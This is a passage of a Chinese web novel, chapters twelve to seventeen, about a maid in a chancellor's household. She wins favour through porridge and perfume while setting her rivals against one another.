她想起大公子深夜进屋探望宁从夏的事情,拉紧身上的衣服,抱着新买的汤婆子,就一头冲了出去。 步伐匆匆,快步赶到阿素面前。 恰巧,门就在这时开了。 欢娘直接将汤婆子送到阿素手上,此时的她都已经冻僵了,睫毛上都结了一层厚重的寒霜。 “天儿太冷了,你这样跪一夜,怎么受得住?” 阿素一脸疑惑,可怀里的汤婆子却传来阵阵暖意,让她舍不得松开。 所以她也不管这欢娘和他们家是结了怨的,抓住她就求情。 “我……欢娘,你能不能帮我去求求情?求求大公子饶了我,我发誓我真的没害那位姑娘,那针也绝对不是我放进去的。” 欢娘听着脚步声逐渐逼近,才道“原本就是宁姑娘要你做糕点送来,我想着你也不敢这么做,会不会是不小心……” “就算是不小心落进去的,怎么可能是绣花针呢?我一厨娘,在厨房干活,拿着绣花针做什么?串菜不成?欢娘,我真是被冤枉的阿……” 阿素无比委屈的道。 话还没说完,提着灯笼的萧晋文就已经走到了她们面前。 欢娘只抬头看了一眼,便慌张的连忙行礼。 “大公子饶命,奴婢真是被冤枉的……” 阿素则是磕头求情,她真的快要被冻死了。 萧晋文一进院子,将所发生的一切看的清清楚楚,包括她们的对话。 “你说,是宁姑娘点名要吃阿素做的糕点?她为何会知道阿素?” 欢娘有些害怕的抬起头,紧张道“是……是奴婢说的,宁姑娘她……问了奴婢,宁姑娘大概是闷得慌,找奴婢聊天,问奴婢月莹家里还有些什么人?” 第十二章你有什么,我有白粥 “后来,宁姑娘就说她饿了,让奴婢去厨房找阿素,做些糕点来吃。” 欢娘有些紧张,说话时声音都有些颤抖。 萧晋文却听的冷了脸,望着主卧,一时没说话。 她知道大公子已经起了疑心。 “大……大公子,阿素已经跪了一天,再跪下去可能真的要被冻死,奴婢求您开恩,饶了她这次。” 萧晋文回过神来,看到阿素手中抱着的汤婆子,而欢娘却衣衫单薄,被冻的瑟瑟发抖。 许是洗漱过了,额间头发潮湿,就这么会儿功夫,已经结了霜。 她自己都很冷,还非要帮人? 阿苏是月莹的嫂嫂,可却不见月莹关心过一二,这丫鬟……倒是善良。 明明那么怕他,却还敢求情? 仔细想来,他虽然很厌恶祖母的安排,可是她塞给自己的人,定是查验过的,品性不会太差。 “起来吧。” 他暗叹口气,从方才她们的对话中,萧晋文也猜到了事情的来龙去脉。 这阿素多半真是被冤枉的。 “今夜之事,莫要再提,日后本公子若听到有人再议论,就拔了你二人的舌头。” 可他还是要护着小夏。 “奴婢不敢,奴婢一定听话。” 欢娘连连点头,她就知道,大公子就算怀疑是宁姑娘故意为之,也不会去追究的。 但到底是影响了心情,他提着灯转身离开了。 等人走后,欢娘才将阿素扶起,她被冻的全身僵硬,走路都难。 欢娘扫了一圈,没地方可去,自己的房间,不能让一个敌人乱入。 所以她直接把人扶去了小厨房。 灶火还没完全熄灭,欢娘又添了两把柴火,将她扶到灶火边坐下。 “你在这儿歇一会儿,等能走路了就回去,大公子不想让人知道今晚的事,所以你走时小声些。” 说着,她将汤婆子拿了回来。 “我和月莹姐姐关系不太好,所以我想还是别让她知道今晚我帮了你。” 欢娘解释,拿走汤婆子的原因。 那可不是她小气,舍不得。 阿素连连点头,许是现在的她太脆弱了,对着欢娘流下了两行眼泪。 “谢谢你。” 她很真诚的道了谢。 可敌人的眼泪是最不值得相信的,哪怕前世她和阿素没什么恩怨,但她和月莹才是一家人。 欢娘抱着自己的汤婆子,轻声轻脚的去了耳房。 隔天一早。 欢娘从外面买了烙饼回来,直接送去书房。 在门口,就被拦了。 “这不是你该来的地方,出去。” 月莹守在门口,虽不是太凶,但语气很冷。 “我送……” “不管你送什么,都不用,况且这等油腻的食物,大公子也不吃。” 欢娘连说完整话的机会都没有。 “可这是宁姑娘命我送来的,你要不问问大公子可要吃?” “还是去问问吧,我若送不进去,回去宁姑娘定会不高兴,她生气了不知会是谁遭殃?” 看月莹又要拒绝,她快一步道,语气很平和,眼神却带着一丝挑衅。 月莹一下就想到了昨日自己嫂嫂的惨状,还有宁从夏挑衅她的样子。 眼下欢娘敢如此,还不就是‘狗仗人势’? 她黑着脸,转身进了书房。 “大公子让你送进去。” 出来时,脸就更黑了些。 欢娘不掩饰自己的高兴,甚至还朝着月莹挑衅,可得意了。 反正现在,她只会把仇记在宁从夏身上。 进屋后,只见大公子正在看公文。 她不识字,可她知道大公子并未在朝中任职,也无功名在身。 那些公文,应当是相爷拿给他,锻炼他的。 她将吃的放下后,说明了自己的来意。 “宁姑娘说,您爱吃这个,特地吩咐奴婢买来给大公子尝尝看。” 萧晋文只是看了一眼,并未说什么。 低着头写父亲交代的功课。 “公子,趁热吃才香。” 欢娘又小声提醒了一句。 “还热着?” 萧晋文有些意外,用手轻轻碰了一下,居然还是烫的。 “回来时奴婢揣在怀里抱着,可还是凉了,所以又去厨房用炭火烤热,跑着送过来,天儿冷,公子还是吃些热的好。” 只听她说的认真。 “还有……奴婢擅自做主,熬了一碗白粥,想着配烙饼要好吃些,也是热的,公子尝尝吗?” 下一秒,有些忐忑的从食盒里端出了一碗还冒着热气的米粥,阵阵米香扑来。 他立刻就有了胃口。 清早光吃烙饼,确实会有些腻,有了这粥,倒是好。 “恩。” 他点了点头。 只见忐忑的欢娘松了口气,露出轻松的笑容。 萧晋文看的有些无奈,就这么怕他吗? 然后他放下笔,让欢娘将吃的端到小餐桌边,先把早饭吃了。 白粥阵阵米香扑来,尝了一口,糯香,还有淡淡的甜味。 他吃的很满意。 便朝着欢娘看去。 却见她眼睛一直往桌上瞟,还偷偷的,斜着眼,好像只要头不动,别人就发现不了。 “看什么?” 萧晋文立刻就想逗逗她。 果然这一问,她就如同惊弓之鸟,慌的不行。 “奴婢……奴婢没看什么,奴婢只觉得公子写的字这般好看,若是相爷看到了,或许会很欣慰。” 其实她心里是在想,怎么才能找个办法,顺理成章的去找相爷呢? 她已经有两天没露脸了,怕被相爷遗忘。 “父亲对我的要求,可不是写字。” 萧晋文撇撇嘴,有些惆怅。 “字写的好,说明大公子在认真完成课业,奴婢想只要相爷知道大公子的态度,一定会欣慰的。” 欢娘却不以为然,夸的很认真。 “方才奴婢进来,就看到大公子很是认真。但可惜相爷永远不知道您多努力,也没人去说。” “有道理阿,父亲总以为是我不用功,欢娘,你熬的粥可还有阿?” 萧晋文眼睛一亮,突然有了主意。 每次自己去交功课,总会被父亲训斥,自己说了努力,父亲觉得就是狡辩。 所以有没有可能,让其他人去作证呢? 欢娘一脸茫然。 “有是有,公子还要吃吗?” 约莫一刻钟后。 欢娘便小步跑向了大厨房。 “张爷,相爷的早饭可送过去了?” “公子命我过来取,他要亲自送去。” 她轻喘气,脸上带着浅笑。 她就记得大公子最怕相爷检查功课,每次过去都要被训,她也就试着提醒一下大公子。 没想,真的就成功了。 现在她要陪着大公子,去见相爷。 第十三章哄的开心了,自然就有好处 大厨房的厨子张爷,前两日赵娣带着她亲自来拜访过,还送了两坛酒。 “还没呢,相爷下朝回来,应当还有半个时辰,我这正要准备吃食,你等等。” “公子说,要送白粥过去,您看着能不能配些相爷爱吃的小菜?” 张爷顿了一下,倒是没说什么,立刻开始准备。 欢娘也有眼力见,在旁边帮忙。 她以前经常帮赵娣配菜,干的也还行。 张爷便跟她聊了几句,为相爷准备吃食,他顺口说起了相爷的喜好。 半个时辰后。 萧怀停下朝归来,换了身便服出来时,一眼就看到了欢娘。 他轻蹙眉,看向了萧一。 “大公子说这丫鬟熬的白粥很好,便想让相爷您也尝尝。” 萧一面无表的解释着,心里却有些想笑。 谁能想到,欢娘会以这种方式再次出现在相爷面前呢? “他人呢?” 萧怀停听的眸色一黑,一股寒气闪过。 “回相爷,大公子说他正在写心得体会,等弄好了就会过来,还请相爷您先吃饭。” 欢娘现在才不管他气不气,反正她是名正言顺,听了大公子的命令才来的。 她一个奴才,听主子的,也没错。 萧怀停沉了脸,不语。 直到早饭放在桌上,一碗白粥,两碟小菜,还有刚烙的饼。 他面无表情的用着早膳。 欢娘很规矩,就当自己是个送饭的,没有半分越矩,就连眼睛都盯着地面,也不到处乱看。 屋里很安静。 一直到相爷快吃完时,大公子来了。 带着厚重的公文,还有他奋力写下的心得。 “父亲,您昨日交代的,儿子今天已经写好了。” 他恭敬的行了礼。 此刻的他就是个翩翩贵公子,风华绝代的少年郎,只要不跟宁从夏待在一块儿,大公子看着都顺眼。 “这粥,你喜欢?” 萧怀停轻声点头后,又问道。 “是阿,今早儿子吃了许多,所以儿子想着父亲不是爱吃素斋吗?便送来您尝尝看。” “父亲,你觉得怎么样?” 萧晋文认真道,自己有好吃的分享给父亲,这总没错吧? 欢娘听到大公子这么问,脚趾下意识去抠地,有些紧张。 但想到他对老夫人说的那些话,她又不抱希望了。 相爷一定不会喜欢她做的东西。 “尚可。” 欢娘听到这两字时,都愣住了。 那是不带一丝情感的评价,却让欢娘忍不住雀跃。 “儿子也觉得好。” 同样高兴的还有萧晋文,他叫人送来的,父亲喜欢,那就是夸他。 “将你的功课拿来看看。” 萧怀停淡淡道。 高兴的萧晋文立刻紧张起来,有些害怕的将自己今早写好的心得呈上去。 可转头就看到在收拾碗筷的欢娘,心里就又稍稍放松了些。 “等着,一会儿随我回去。” 欢娘走到他旁边时,他低声道。 她轻声点了点头,脸颊也微微泛红。 他不禁蹙了蹙眉,到底还是当自己眼瞎了,没看见,闲事勿理。 “写的都是废话,若朝廷的文书都照着你这般来写,得累死人。” 萧怀停看的很快,整整十页纸,也就一晃眼的功夫。 果然是又要挨训了,而且毫不留情。 萧晋文垂下了头。 “外出一月,毫无长进,还退步了,这就是你所说的‘历练’?” 萧怀停冷声训斥,是毫不留情。 欢娘站在一旁,暗暗嘀咕着,相爷可真可怕。 训斥了好一会儿后。 “但字迹工整,写了十来页,是比以前认真了些。” 萧晋文都已经变成霜打的茄子了。 相爷话锋一转,居然有了一句夸赞。 他眼睛骤然亮起。 “儿子辰时便起来做功课,一直写到现在,有欢娘为证,儿子确实是尽力了。” 字果然是好看吗?萧晋文连忙抓紧机会解释,自己很努力。 今早他听了欢娘那些话,深受启发,立刻摆正姿态好好写字,而且为了彰显自己态度好,多写了五六页。 果然,父亲他看到了。 萧怀停目光从角落里扫过去。 再看萧晋文的样子,心下了然,原来打的是这主意。 “心思都用在做表面功夫上,这是自欺欺人,骗了别人也误解了自己的本事。” 欢娘站在角落里,听着相爷对大公子的训斥。 可却总感觉一股带着威压的目光扫向她,而且她还觉得相爷是话中有话,另有所指。 片刻后,只见相爷取笔,在那份功课上做了标记。 “拿回去,重新修正概括,我要一份精简的文书。” 他冷声道。 可这下萧晋文没有一点不开心,高高兴兴的就拿着他的功课,回去改。 欢娘也紧步跟了上去。 “欢娘,这次多亏了你,帮了我大忙,本公子要赏你。” 这是第一次交功课,父亲给了他好脸色。 “欢娘也没帮上忙阿……” “那是你不知道以前的事,你说吧,你想要什么?” 萧晋文笑道。 那笑容又灿烂又干净,欢娘都有些意外,大公子还真是好哄的很。 “让公子开心如意,是奴婢份内之事,公子若真的要赏奴婢,可否……听奴婢说一件事,听了也别生气,别罚奴婢?” “你说。” 萧晋文笑道。 欢娘在沉思了片刻后,一副鼓足了勇气才敢开口的样子。 “奴婢觉得宁姑娘是个好人,公子待她又好,奴婢真心希望宁姑娘是未来的少夫人。” 萧晋文愣了一下,脸上划过少年的羞涩。 “可现在宁姑娘还未进门,是清白的姑娘家,奴婢觉得他一直住在承德院,实在不妥。” 话音刚落,萧晋文的脸就冷了一些。 “奴婢当真是为公子考虑的,老夫人那般宠着公子,只要您喜欢,老夫人定也不会反对这门亲事。” 见他不高兴了,欢娘又立刻说两句好听的。 然后又道“只是名门贵族皆是规矩森严,未嫁的女子怎可与男人同住一屋檐下?这若是传了出去,不仅有损相府名声,还会让人轻看了宁姑娘。” “公子可想过,日后宁姑娘若真嫁给公子,势必要与这些世家往来。” 她又道。 说完就直接往地上一跪。 “奴婢肺腑之言,都是为了公子和宁姑娘,若是……若是公子觉得奴婢居心不良,那就当奴婢没说过,还请公子千万别罚奴婢去跪雪地。” 她声音都在微微颤抖着,似乎是怕极了。 第十四章小丫鬟坐收渔利 这倒是提醒了萧晋文,昨日他才警告过众人,不准对小夏不利,而且他也才罚了阿素。 是个聪明的,都不敢在这时候在他面前说小夏的不是。 而她都怕的抖成那样了,却还非要说?放着奖赏不要,非要说这些让他不高兴的话。 这样蠢笨的丫鬟,能有什么坏心眼呢? 而且她说的话,确实有道理,世家的生存,他是最清楚的。 名声,大于一切。 “方才不是说了不怪你吗?起来。” 萧晋文心里已经有了盘算。 却见欢娘不敢起来,双手杵在地上,抬着眼眸,水汪汪的眼睛看着他,好像是在思考,他说的话是不是真的? 看的萧晋文忍不住嘀咕‘可真是个蠢笨丫鬟,白长年纪了。’ 他看不过去,直接伸手把人拽起来。 欢娘一个踉跄,一头撞在他心口,又惊慌的连忙退开。 余光偷瞄着屋里,总感觉有道视线一直落在她身上,可又不知道会是谁。 萧晋文也没责怪,将手里那些功课一股脑的都塞到了她手里。 “送去书房,我去趟祖母那里,不用跟着我了。” 走了两步,他又想起了什么。 “日后本公子晨读,你都来书房候着。” 萧晋文觉得欢娘可以给自己带来好运,就是可惜了,她要是个男的,没准还能给自己做书童。 欢娘应下,出了长风院后,就分开,各往一边去。 至于那道目光,她也不敢去追究,兴许是她的错觉呢? 回到承德院,她抱着课业就往书房去。 脚才迈进去一步,月莹就追了过来。 “公子的书房,闲杂人等免进,把东西给我。” 月莹算着时间,欢娘陪着大公子出去,已经一个早上了。 “不行,公子吩咐我,一定要亲自送到他书桌上放好。” 欢娘微笑着,语气温柔。 “而且公子还说,日后书房这里,每天早上都由我来侍奉,这下月莹姐姐就轻松了,早上能歇会儿。” 只见月莹脸上划过一丝错愕和嫉恨。 “你跟着公子,做了些什么?” 就一个早上,公子居然让讨厌的欢娘跟着他,而且现在还要她来侍奉? 事出反常必有妖。 月莹心生警惕。 “奴婢不过是依着宁姑娘的吩咐,给公子送了些吃的而已,不过宁姑娘似乎很了解公子的口味,他吃的高兴,便让奴婢跟着……” 欢娘‘老老实实’的回答。 那这一切,都是宁从夏的功劳。 果然是她,要和自己作对,这么迫不及待的就要将她从公子身边赶走了吗? 果然,江湖上来的女子,就是这般小家子气。 “月莹姐姐,您伺候公子多年,没有人比您更了解公子的习惯,所以能不能跟我说说公子的禁忌和喜好?” 欢娘看到她眼中的恼恨,心里很是满意。 本就不爽的月莹听到这话更是无语了,可转念一想,这未尝……不是好事。 宁从夏那么不待见她,嫉妒心如此强的女人,怎容得下欢娘? 若是欢娘和公子走得近,宁从夏必定嫉妒生恨,能看她发疯,似乎也不错? “公子他不喜早起……” 所以她事无巨细,认认真真的给欢娘讲述公子的各种喜好。 “最重要的是最近天儿太冷了,公子睡觉时若觉得冷,就会惩罚铺床的奴婢……” 甚至,还有暗示的提醒欢娘。 只见她眼睛一亮,好像知道该怎么办了。 月莹笑意便更深了些。 等着吧,最好她不知死活,自以为是的马上要去给公子暖床,那不仅是宁从夏会生气,说不定公子还会大发雷霆,将她打发出去。 那她就算是一石二鸟了。 欢娘道谢以后,便进了书房。 将公子的物品都摆放整齐,可是想到方才相爷在公子的功课上做了标注,她又悄悄的翻开,看了看。 公子的字干净规整,又透着几分狂野不羁。 而相爷的……苍劲有力,收敛了笔锋,却字字都透着冰冷,瞧着就毫无生气。 欢娘不禁在想,原来字如其人,是这个意思阿。 哪怕她不认识几个字,也看不懂相爷和大公子都写了些什么,但她看一眼就能分辨两人的字迹。 还看到标注里就有‘怀’这个字。 她拿起一旁的毛笔,照着那个字画下来。 写的极丑。 欢娘看了一眼,忍不住咂舌,鄙夷自己。 不过她有信心,一定能慢慢的把这个字练好。 她小心翼翼的将那个字折叠起来,放在里侧衣服的口袋里珍藏着。 然后才去小厨房,给宁从夏熬药。 等她端着药进主卧时,宁从夏黑着脸,瞪着她。 “只是去送个早饭,为何现在才回来?” 这一个早上,宁从夏越等火气就越大,脑海里甚至闪过无数种可能。 她好像又看到了欢娘脱光衣服,在萧晋文面前扭来扭去,矫揉造作的勾引。 她去那么久,什么事都可能发生。 “公子说早饭好吃,便让奴婢准备一份,送去给相爷,奴婢也才从相爷那边刚回来。” 她恭顺的回应着,心里却在冷笑。 是你要让我过去送吃的,接近公子,针对月莹,可真的接近了,你却又这般生气? “相爷?萧晋文的爹?” 宁从夏愣了一下,才问道。 欢娘点了点头“是”。 宁从夏的脸色这才稍微好看了些,只要不是他俩单独在一起,不是她想的那样,就好说。 “宁姑娘,公子命我从明日起去书房研磨,侍奉他读书,往后这早上的药,换个人给您送来。” 可你现在高兴,似乎太早了些。 欢娘轻笑着,一副因为能和公子接近而高兴的样子。 只见宁从夏脸色微变,正要说话时,欢娘却又继续道。 “还是宁姑娘有办法,您没看到今早月莹的脸色有多差,奴婢从相爷那边回来时,她还拦着不让奴婢进书房,后来得知公子吩咐以后,她气的脸都青了。” 她‘真诚’的夸赞,直呼宁从夏手段高明。 而宁从夏是喜忧参半。 高兴的是打击到了月莹,可怎么让这么个蠢东西得了机会接近萧晋文? 可转念一想,她之所以能留下都是因为自己给的烙饼,萧晋文定是因为这个才让欢娘留下的。 只有这么想,她心里才好受些。 “等公子做完早课,奴婢还是回到姑娘身边,伺候姑娘。” 欢娘静静观赏她那变化无穷的脸色,慢慢道。 “算你识相,跟着我,不会让你吃亏的。” 宁从夏闷闷的点了点头,露出一抹很勉强的笑。 第十五章一锅白粥,拿捏父子俩 欢娘千恩万谢,还极力吹捧她。 下午,她去了趟绣房,丽姑姑已经采买东西回来了。 她抱着自己那一堆,回到房间里,就开始捣鼓香料。 冷梅香的味道就有十九种,差别很细微,有的人甚至闻不出来。 她得配一种无可替代的香味,让相爷一闻就能想到她。 只是思考的过于认真,她突然想起了今天早上相爷说过的话。 光会做表面功夫,只是在自欺欺人。 这几日,她确实做了许多表面功夫,营造了自己蠢笨的假象,可她总不能也被这‘蠢笨’所迷惑了。 虽然挑起了宁从夏和月莹的争斗,但她确实也因为装‘蠢笨’在伺候自己的仇人。 她可不配她的伺候,若是伺候了,应当要付出代价才是。 到傍晚,看到在院子里指挥着修建枯树枝的冯婆时,她要等的机会,便来了。 主动走了过去。 “冯婆,月莹现在在哪儿?” 冯婆一回头就看到眉眼带着笑,一整个很明媚的欢娘,心里很是不满。 小贱蹄子,现在可风光的很呐。 在她眼里,欢娘现在就是很嚣张。 真想狠狠撕碎她的脸,但女儿偏偏就不让。 “怎么?现在长本事了,连月莹你都能管束了?” 冯婆冷声嘲讽。 不能动她,但她也绝不给她什么好脸色。 “哪里敢?只是宁姑娘的药快喝完了,只是想问问月莹,是不是该去抓药了?” 冯婆听的皱了皱眉,不知在想什么。 “药方可是在她手里?我可以自己出去抓药,不过明早得有人负责给宁姑娘送药。” “等着,我去给你拿方子。” 冯婆冷冷的扫了她一眼,竟是突然‘热情’起来。 “多谢冯婆。” 欢娘弯起嘴角,冲着她离开的背景,轻声道。 冯婆是半点见不得她好,而且也没月莹那般有城府,又沉稳。 只要让她逮到机会,她还不把自己往死里整吗? 很快,药方和银子都拿来了,欢娘拿着就出了府,买药去。 冯婆也没闲着,欢娘前脚出门,她后脚就跟了出去。 天黑以前,欢娘回到院子里,将新买的药放在小厨房里。 早上熬的那一锅,她热了一碗端着就进了主卧。 “您喝的药没了,奴婢今天去抓药,刚好遇到那晚给您看诊的柳大夫,奴婢想着您受的是刀伤,所以就问问柳大夫可否加一些除疤的药……” 欢娘巴拉巴拉讲了许多,也不管宁从夏她想不想听,她总归是要先说完的。 “明早的药和今日的会有所不同,加了两味药材,可能会很苦,姑娘还是忍着喝完,对您的伤有好处。” 她继续交代,婆婆妈妈的,一心为宁从夏好的样子。 “知道了。” 她有些不耐烦。 “你们公子今日在忙什么?” 因为一天不见萧晋文了,昨晚他也没来,这就很反常。 先前他还说,如果不是父亲逼着他做学问,他巴不得时时刻刻都待在她身边。 可今日做学问,不是早上就结束了吗? 欢娘愣了一下,有些茫然的摇头。 “早上从相爷那边出来,公子说要去见老夫人,再后来,奴婢就没见着他人了。” 公子一直没出现,倒是好事。 宁从夏听了更烦躁,打发她出去。 “今晚不用你守夜。” 而且还不让她在耳房待着。 欢娘求之不得,见她心情不好,巴不得她多难受一阵。 所以端着喝完的药碗就离开了。 阴暗的房间里,她端来一个火盆在床边烤着,屋子里捂着汤婆子,人就躺在床上,一针一线的缝制着香包。 一旁的桌子上,都是白日里弄好的香料和香膏,屋里弥漫着一股清香。 翌日。 天还没亮她就起来熬粥了。 大公子喜欢喝的白粥,其实她也没什么特别的技巧,只是需要控制火候,慢慢的熬,还要时刻搅拌着。 她没出去买馅饼,只是请张爷又做了些小菜,配着白粥,送去书房。 另外一锅她交给了张爷,随他去安排。 但昨日相爷说这粥好喝,大厨房的仆人是听到了的,想必张爷也知晓。 所以继续送过去的可能性很大。 果不其然,她前脚刚踏出去,就听到张爷正在安排做小菜配白粥,给相爷送去。 欢娘有些高兴,看来只要公子还喜欢喝,她就能‘顺手’熬了送过来,讨好一下相爷。 到了书房。 大公子做功课做的并不开心,眉头紧锁着,地上全是一团团的宣纸。 欢娘刚进屋,他又揉了一团,黑着脸扔在地上。 她默默的把吃的放好,又把门关上。 然后将地上那一团团废纸捡起来,本打算放进废纸篓里,却不想,居然满了? 欢娘嘴角抽了抽。 余光瞥见大公子做功课,戾气越来越重。 “公子,先吃早饭吧,相爷他老人家布置的功课本就难,咱们慢慢来。” 她将纸团全部整整齐齐的堆在废纸篓旁边,柔声开口。 “你怎么知道难?” 萧晋文这会儿是真的很烦,他都想问,难道你就想过是我蠢吗? 可他是公子,公子要脸。 “以前听秦嬷嬷说过,相爷年少便是奇才,曾经书院考试,便是他出的题,难倒了所有人,包括夫子。” 谁料欢娘会这般认真的回答他的问题。 就好像她说那些话就不是为了安慰他,而是父亲他老人家太难为人了。 不过确实也是,父亲的严厉在京都是出了名的。 和他同龄的谁不怕他?听闻他去学院视察时,还将一些学子给吓哭了。 这般想来,他能得父亲半句赞赏,起码字写的好,确实不算太差劲。 “今早还是白粥吗?” 这般想着,萧晋文脸上的烦躁也淡了许多,回过神来就闻到了米香。 “是,不过因为熬粥,奴婢没能出去买您爱吃的油饼,就请厨房做了些配菜,您吃吃看,可还合胃口?” 萧晋文已经走向了小桌。 两个烙饼,一碟酱菜,饭食做的十分简单。 他咬了口烙饼,眼眸微微一亮,许是太久没吃厨房做的了,他竟觉得很是可口。 尤其是搭配那酸辣的酱菜,再一口白粥。 简直美味。 怪不得挑剔的父亲昨天早上都没说什么。 这一对比,他忽然觉得昨日欢娘从外面买回来的油饼,早上吃,还是腻人了些。 “你让厨房再准备一份,送到这儿来。” 他得让小夏也尝尝,她那么爱吃饼,定会喜欢这个。 第十六章预谋已久,你可好难接近 总不能是他要再吃一顿,看他的表情,欢娘大概猜到了公子的意图。 只是,送去给宁姑娘,她未必会喜欢阿。 但不喜欢了才好呢。 半个时辰后。 萧晋文欢欢喜喜的去了主卧,而且还亲自带着吃的进去。 不让下人伺候。 不到一盏茶的功夫,屋里传来噼里啪啦,砸东西的声音。 欢娘只是守在门口,没叫她,她就当没听到。 可却惊动了月莹,她默默走来,似乎很着急的样子。 “里面怎么了?” 眼里是藏不住的兴奋。 还不等欢娘说话,萧晋文就再度黑着脸,走了出来。 紧跟着砰的一声,一个茶杯落在门槛。 萧晋文闷哼一声,脸色越发的难看。 他被砸了,当着这么多下人的面。 “月莹,去找两个人过来,将宁姑娘送到隔壁倚竹院去。” “你,去老夫人那儿,请她调派两个人过来伺候着。” 他直接冷声吩咐着。 说完就走,不带一丝犹豫。 月莹在错愕片刻后,朝着屋子里扫了一眼,投去幸灾乐祸的眼神。 “还请宁姑娘准备准备,奴婢这就去找人来帮您搬过去。” 那话里竟是嘲讽。 只听到屋里又是茶盏碎裂的声音。 “贱人。” 只听宁从夏冷声低吼了一句。 这时候,再进去的就是傻子,欢娘还在月莹之前,跑着就 往老夫人院子去。 一个早上。 承德院可就热闹了,这热闹欢娘不想掺和。 她去见了老夫人,将早上公子的吩咐如实告知,老夫人却一点都不惊讶,而且是早就安排好了。 秦嬷嬷再次带着人过去了,依旧是上次那两位。 可看她们的脸色,去了宁从夏身边,只怕不会让宁从夏有好果子吃。 “你做的很好,踏踏实实跟在大公子身边,他……不会亏待你的。” 老夫人冲着她满意的点点头,笑容慈爱。 然后送了她一个价值连城的手镯。 欢娘惶恐的连忙磕头,一脸的‘愚笨’,似乎并不知道发生了什么。 “好好戴着,可别随便摘了。” 老夫人也并未跟她解释什么,笑着就将她给打发了。 “啧啧啧,金镯子,欢娘,你出息了阿。” 欢娘没急着回去,找了赵娣去叙旧。 老夫人赏赐的大金镯子,是当真晃眼的很,尤其是在阳光下,泛着金光。 “老夫人要我天天带着,看样子这也只能是个摆件,不能卖。” 欢娘苦笑着。 对她来说还是银子更实用些。 “天天想着镩那么多银子作甚?你看你那抠搜样儿,有了这金镯子,日后你们院里的奴才也要掂量一下你的份量,谁还敢随便欺负你阿?” 赵娣有些恨铁不成钢的骂了两句。 然后抓着欢娘的手在阳光下晃了又晃,露出贪婪的目光。 可真白,皮肤又滑又嫩,这大金镯子戴在她手上,人都显得富贵了。 欢娘她就该过着富贵日子。 “是是是,你说的极有道理,你最聪明。” 欢娘笑着调侃她。 然后将自己连夜做的香包,送给了赵娣。 “你整日在厨房待着,油烟味重,这香包里我放了绿茶和竹叶,加了一些辅料激发香味,你平日就带在身上,要好闻些。” 圆溜溜的像个小球,只是简单绣了一片竹叶,瞧着可敷衍了。 但赵娣却很喜欢,当即就佩戴在腰间。 然后又苦口婆心的劝慰她,有这闲工夫,还是要想想怎么爬床,讨得大公子欢心的好。 欢娘笑着点头。 心里却道,已经在努力了。 等她回去后,承德院很安静,她将昨日做好的香料,拿去了绣房。 “丽姑姑,你看看这香膏,可还喜欢?” 欢娘做了两份,送给丽姑姑和她的女儿。 底层婢女护肤大多用的猪油或是羊脂,像丽姑姑这样有些身份的,会用皂角膏洁面,运气好的话会用赏赐的杏仁油来护肤。 像香膏这样用复杂配料做成的,只有贵族小姐或是夫人能用,价格昂贵,普通人是买不起的。 所以丽姑姑收到后,轻轻摸了一点擦在脸上,便爱不释手。 “你真会阿?” 她没想到欢娘竟还有这样的手艺。 “现在冬日干燥,所以给您的是杏仁蜜蜡糕,防冻伤,除了脸也可涂手,姑姑放心的用,若是喜欢,过几日我再送些过来。” 欢娘点点头,还特地告诉丽姑姑,这香膏给的也是有讲究的,并非胡乱配。 “待天儿炎热,我又给您换别的试试。” 丽姑姑听的眼睛都亮了。 再仔细看这丫鬟,和以前那是判若两人阿,如今穿着鲜艳的衣裳,娇嫩又妩媚。 还别说,长了些年纪,让她看着越发别致有风味。 怎么看,都不该是个洒扫丫鬟。 “那也不能让你一直费这心思,你说这要多少银子?我买。” 既然要长久的用,还是得自己花钱,她想着从欢娘手里买这些东西,会便宜些。 “哪里能收姑姑的钱阿?我还指望着姑姑多给我买些材料回来,多做些香膏呢……” 欢娘是贪钱,但丽姑姑的钱可不能收,还指望着能用这玩意儿能讨好她呢。 “实话跟姑姑说,我其实是想做一些香膏,拿出去卖的,可您也知道,我不能随便出府,就算外出也是跟着主子,没机会去卖这些东西。” “姑姑您常年在外采购,想必有些门路,不知姑姑能不能帮忙卖?我愿意出两成红利给姑姑。而且日后您和珍娘用的香膏,我都包了。” 她柔声道。 珍娘就是丽姑姑的女儿。 卖香膏赚银子虽然是条门路,但她主要的目的还是拉拢丽姑姑,她思来想去,觉得只有她们的利益是一致的,关系才会更好。 所以如果能一起卖香膏,那就是一举两得。 而丽姑姑没有拒绝的理由。 “行,回头你多做几个,我拿去外面试试看,若真的能卖出去,咱再谈,至于价格……” “像姑姑手中这个,就卖两百文,您觉得如何?” 欢娘是知道这香膏价格的,一两银子起步。 她这便宜了不知多少,若是有人试过,定会要,她有这个信心。 丽姑姑一听定价,眼睛也亮了,信心倍增。 “姑姑,其实我这儿,还有一款香料,燃之会有一股冷梅清香,用来熏制衣服,最是不错,您可要试试?” 看丽姑姑高兴了,那也该提正事。 绕这么大圈子,她就是想顺理成章的将自己做的香料,给丽姑姑用。 绣房专门负责府里主子的衣裳,不仅是做新衣,还有浣洗。 主子的衣裳都很讲究,洗过要香薰过,才会送去。 相爷用的便是冷梅香,而且从不更换,所以新的香料给了丽姑姑,就只会用在相爷身上。 丽姑姑一听居然是相爷喜欢的,眼睛也亮了几分。 这府上,可就伺候相爷时,最是小心翼翼。 当即便取了一小块,点燃后阵阵清香扑来。 “倒是好闻,那我便试试。” 欢娘点点头,立即就笑弯了眼。 傍晚,萧怀停办完事回府,就换了身便服。 第十七章巧妙上位,得主子喜欢 一身白衣,只在领口处绣了一支红梅,衬托的那张脸越发清冷。 可鼻尖却萦绕着一股有些陌生的香味。 仔细一闻,还是那冷梅香,并无区别,但很快他就察觉了不同。 细香如缕,清清淡淡漫过鼻尖,似雨后草木的鲜润,又像枝头新绽的白梅,沁得人肺腑通透,半点甜腻也无,只余绵长的舒爽。 此时采菊正好端着热茶进屋。 “这衣服,谁送过来的?” 味道和平日里不同。 “是绣房的丽姑姑。” 萧怀停皱了皱眉,对这回答似乎并不满意?和预料的不同。 “爷,可是有什么问题?” 采菊觉得奇怪,爷怎的突然问这个?那衣服,她瞧着和平日也没什么分别。 “绣房换了熏香?” 他问了一句。 采菊有些疑惑,茫然的摇了摇头。 “这味道,和往日不同吗?” 不还是那股冷梅香味吗?她整日闻着,倒是没闻出什么区别来。 “去问问丽姑姑,将屋里的熏香也换成这种。” 他记得去年花了半年时间才寻到一种不错的香料,沿用至今。 看来绣房是花了心思,寻到了更好的香料,回头得吩咐一声,犒赏绣房。 “是。” 采菊自己真没闻出来,但爷吩咐了,她便立刻去办。 晚上。 欢娘无意中听到仆人议论,大公子好像去隔壁探望宁姑娘,又被撵了出来。 她真是惊了。 